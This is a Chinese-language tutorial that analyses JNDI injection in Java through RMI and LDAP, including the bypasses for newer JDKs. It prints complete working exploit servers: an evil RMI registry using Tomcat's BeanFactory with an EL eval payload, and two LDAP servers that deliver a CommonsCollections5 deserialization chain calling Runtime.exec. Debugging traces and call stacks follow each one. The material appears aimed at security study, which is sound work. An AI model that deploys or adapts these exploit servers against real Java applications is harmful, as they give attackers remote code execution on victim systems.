JNDI

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

JNDI注入+rmi

JNDIClient

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        IRemoteObj o = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteOb");
        System.out.println(o.sayHello("hello"));
    }
}

JNDIServer

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        LocateRegistry.createRegistry(1099);
        initialContext.rebind("rmi://localhost:1099/remoteOb",new RemoteObImpl());
    }
}

跟进一下客户端lookup方法,跟进到RegistryContext类的lookup方法,从这里可以看出来,其实调用的还是RMI的东西。如果客户端的lookup参数可控,就可以让它访问我们恶意的链接了。

绑定引用对象

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
    }
}

看一下Reference类。工厂,第一个参数类型className,第二个工厂名factory,工厂的位置。


    /**
      * Constructs a new reference for an object with class name 'className',
      * and the class name and location of the object's factory.
      *
      * @param className The non-null class name of the object to which
      *                         this reference refers.
      * @param factory  The possibly null class name of the object's factory.
      * @param factoryLocation
      *         The possibly null location from which to load
      *         the factory (e.g. URL)
      * @see javax.naming.spi.ObjectFactory
      * @see javax.naming.spi.NamingManager#getObjectInstance
      */
    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

启一个JNDIServer,在testref.class文件所在的位置起一个http的web服务,将reference引用绑定在remoteOb上,然后在JNDIClient客户端访问,

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
    }
}

适用场景就是当我们能控制服务端lookup的参数时,就可以访问恶意的对象。

接下来具体分析流程。在客户端跟进lookup方法。其实就是一系列的调用,过程如下图。

这里获取到的对象是ReferenceWrapper_Stub,并不是服务端绑定的Reference,这是因为服务端调用了一个encodeObject方法将Reference类转成了ReferenceWrapper,所以客户端获取到之后要decode。

到这里的调用栈如下。

decode之后就拿到了原先的Reference,同时在这个方法中调用了NamingManager.getObjectInstance()方法,跟进

在319行调用了getObjectFactoryFromReference方法,从引用中获取对象工厂


这个方法中首先调用loadClass加载,调用AppClassLoader本机加载,此时是加载失败找不到的

接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,在调用loadClass加载

把codebase传入URLClassLoader,利用loadClass加载

这个里面就会对应初始化加载,对应URL下面的类。

找到之后newInstance实例化,执行完这一步就可以弹出计算器了。


在JDK 6u132, JDK 7u122, JDK 8u113中Java限制了通过RMI远程加载Reference工厂类,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。
在RegistryContext类中的trustURLCodebase默认值是false,所以程序不会再向下执行。

JNDI注入+ldap

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在修复RMI的时候并没有对LDAP进行修复,所以在JDK 11.0.1、8u191、7u201、6u211之前LDAP还是可以利用的。

使用JNDI工具启动一个LDAPF服务。

客户端调试跟踪分析流程

    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:1389/koh13g");
    }

根据追踪lookup方法,最后走到PartialCompositeContext类的lookup方法,方法中又调用了p_lookup方法,这个方法中又要用了c_lookup方法。

c_lookup方法要用了decodeObject方法,走到这里就想到在rmi中也要用了这个方法,并看到传入的参数var4其实跟rmi也是一样的,codebase、类名、工厂等。

在decodeObject方法又分了几种情况,因为jndi支持序列化、引用的、远程对象的,通过获取到的属性来判断是属于那种方式。

因为此时为引用,所以会调用decodeReference方法,方法中把类名啥的都获取到。然后回到c_lookup方法。

c_lookup方法中又调用了DirectoryManager.getObjectInstance()方法,在rmi中是调用的NamingManager.getObjectInstance()方法,后续的流程在方法中又调用getObjectFactoryFromReference()方法,通过loadClass加载远程加载对象。调用AppClassLoader本机加载,此时是加载失败找不到的,接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,再利用loadClass加载等等。

因为RMI跟LDAP前半部分的调用流程并不一样,当RMI修改了流程中的decodeObject方法,并不会影响到LDAP流程中的decodeObject方法,在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的值默认为false。

用8u333测试了一下,在VersionHelper12类的loadClass方法中有trustURLCodebase属性的判断,如下图所示。

JDK版本 > 8u191

通过加载本地类

从上面的RMI跟LDAP的过程中可以看到,都是利用远程加载并也已经修复了,但是不是也可以利用本地的类进行利用,对于本地的类也是有要求的,这个类必须是个工厂类,该工厂类型必须实现javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对工厂类的实例对象进行了类型转换return (clas != null) ? (ObjectFactory) clas.newInstance() : null;;并且该工厂类至少存在一个 getObjectInstance() 方法,根据网上文章org.apache.naming.factory.BeanFactory是可利用的,并且该类存在于Tomcat依赖包中应用比较广泛。

Tomcat8

首先加载maven,如果com.springsource.org.apache.el包获取失败,可以下载对应jar包然后导入。

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

服务端示例代码如下

    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }

客户端示例代码如下

    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1097/Object");
    }

效果图如下所示

调试跟踪分析流程

前面的流程跟RMI和LDAP是一样的,跟到RegistryContext.decodeObject()方法,工厂就是指定的org.apache.naming.factory.BeanFactory,

接下来的流程也一样,走到getObjectFactoryFromReference方法,接着就是loadClass本地加载对应的类,clas不是null,就说明本地加载到了,

最后在getObjectInstance方法中反射的调用invoke执行EL表达式,完成命令执行。

调用栈

getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)

触发本地存在的Gadget

加入本地依赖中存在漏洞,可以尝试出发本地漏洞,这里存在CC依赖,CommonsCollections5来尝试

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class JNDIServer {

        private static final String LDAP_BASE = "dc=example,dc=com";
        public static void main ( String[] tmp_args ) throws Exception{
            String[] args=new String[]{"http://x.x.x.x/#aaa"};
            int port = 6666;

            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }

        private static class OperationInterceptor extends InMemoryOperationInterceptor {

            private URL codebase;

            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }

            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }

            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

                e.addAttribute("javaClassName", "foo");
                e.addAttribute("javaSerializedData",CommonsCollections5());

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }

        private static byte[] CommonsCollections5() throws Exception{
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };

            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,chainedTransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
            BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
            Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException,tiedMapEntry);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();

            return byteArrayOutputStream.toByteArray();
        }

}

客户端尝试触发,效果如下图

调试跟踪分析流程

前面流程跟LDAP流程相同,还是会走到Obj类中的decodeObject方法,JAVA_ATTRIBUTES字段有"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation",JAVA_ATTRIBUTES[1]就是javaSerializedData,在起服务端的时候配置了这个字段,不为空就进入到deserializeObject方法中

deserializeObject方法中对var20进行反序列化,var20就是服务端在其中时给javaSerializedData的赋值,就是恶意的序列化数据。

调用栈如下

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)

其实还有一处反序列化的点,在com/sun/jndi/ldap/Obj.java#decodeReference中,这个方法中也调用了上面例子中反序列化时经过的方法deserializeObject,如果程序能走到这里,也就意味着也可以进行反序列化操作。

首先要看一下怎样才能进入decodeReference方法中,在上面例子中讲到通过Obj类中的decodeObject方法在启动时给JAVA_ATTRIBUTES的javaSerializedData赋值进入了deserializeObject方法,但是在decodeObject方法中也调用了decodeReference方法,如果要进入要在启动时给JAVA_ATTRIBUTES的objectClass赋值。

在反序列化利用时调用的参数时JAVA_ATTRIBUTES的javaReferenceAddress,所以要把恶意代码赋值给这个参数,但这个参数在赋值时有如下要求:

  • 第一个字符为分隔符
  • 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
  • 第二个分隔符与第三个分隔符之间,表示type,类型
  • 第三个分隔符是双分隔符的形式,则进入反序列化的操作
  • 序列化数据用base64编码

javaClassName这个参数不能去掉,因为在调用decodeObject方法时对JAVA_ATTRIBUTES的javaClassName进行了判断,只有不为空时才能进入decodeObject方法

    static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

启动的服务端参考如下:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Encoder;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class JNDIServer {
        private static final String LDAP_BASE = "dc=example,dc=com";
        public static void main ( String[] tmp_args ) throws Exception{
            String[] args=new String[]{"http://x.x.x.x/#aaa"};
            int port = 6666;

            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }

        private static class OperationInterceptor extends InMemoryOperationInterceptor {

            private URL codebase;

            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }

            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }

            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

                e.addAttribute("javaClassName", "foo");
                e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CommonsCollections5()));
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }

        private static byte[] CommonsCollections5() throws Exception{
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };

            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,chainedTransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
            BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
            Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException,tiedMapEntry);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();

            return byteArrayOutputStream.toByteArray();
        }

}

客户端尝试触发,效果如下图

调用栈如下

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeReference:478, Obj (com.sun.jndi.ldap)
decodeObject:251, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)

参考链接

https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/8214#toc-3
https://www.bilibili.com/video/BV1P54y1Z7Lf/